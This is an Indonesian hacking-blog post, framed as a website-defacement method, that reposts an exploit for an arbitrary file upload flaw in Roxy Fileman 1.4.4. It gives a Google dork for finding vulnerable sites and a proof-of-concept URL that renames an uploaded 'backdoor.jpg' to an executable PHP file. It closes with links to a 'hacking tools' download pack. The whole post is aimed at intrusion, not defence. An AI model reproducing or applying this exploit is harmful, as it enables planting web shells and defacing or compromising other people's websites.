Deface Website Metode Roxy Fileman 1.4.4 - Arbitrary File Upload

# Exploit Title: Roxy Fileman <= 1.4.4 Forbidden File Upload Vulnerability

# Google Dork: intitle:"Roxy file manager"

# Date: 15-06-2016

# Exploit Author: Tyrell Sassen

# Vendor Homepage: http://www.roxyfileman.com/

# Software Link: http://www.roxyfileman.com/download.php?f=1.4.4-php

# Version: 1.4.4

# Tested on: PHP

Deface Website Metode Roxy Fileman

1. Description

The Roxy File Manager has a configuration setting named FORBIDDEN_UPLOADS,

which keeps a list of forbidden file extensions that the application will

not allow to be uploaded. This configuration setting is also checked when

renaming an existing file to a new file extension.

It is possible to bypass this check and rename already uploaded files to

any extension, using the move function as this function does not perform

any checks.

Baca Juga.

2. Proof of Concept

http://host/fileman/php/movefile.php?f=/Upload/backdoor.jpg&n=/Upload/backdoor.php

The renamed file will now be accessible at http://host/Upload/backdoor.php

Download

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]

Download Kumpulan Tools Hacking 100% Work

[ DOWNLOAD ] - [ DOWNLOAD ]

Yapss Admin mohon maaf jika ada kesalahan dalam penulisan atau penguploadan, jika ada kesalahan mohon dibenarkan dengan berkomentar di bawah postingan yang salah, berikan saran yang sifatnya membimbing agar blog ini bisa bermanfaat bagi para Newbie di Indonesia tentunya, Jika ingin menyumbangkan Tutornya atau Modulnya silahkan kirimkan ke Email yang sudah saya sediakan, Terimakasih Senpai :*

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share

>> Facebook ** Jack Shredder

>> Instagram ** /abdur.rozak.mw

>> Twitter ** @JackTersakiti

>> Youtube ** Pringsewu Cyber Team

>> BBM ** 57318B69

// Why So Serious...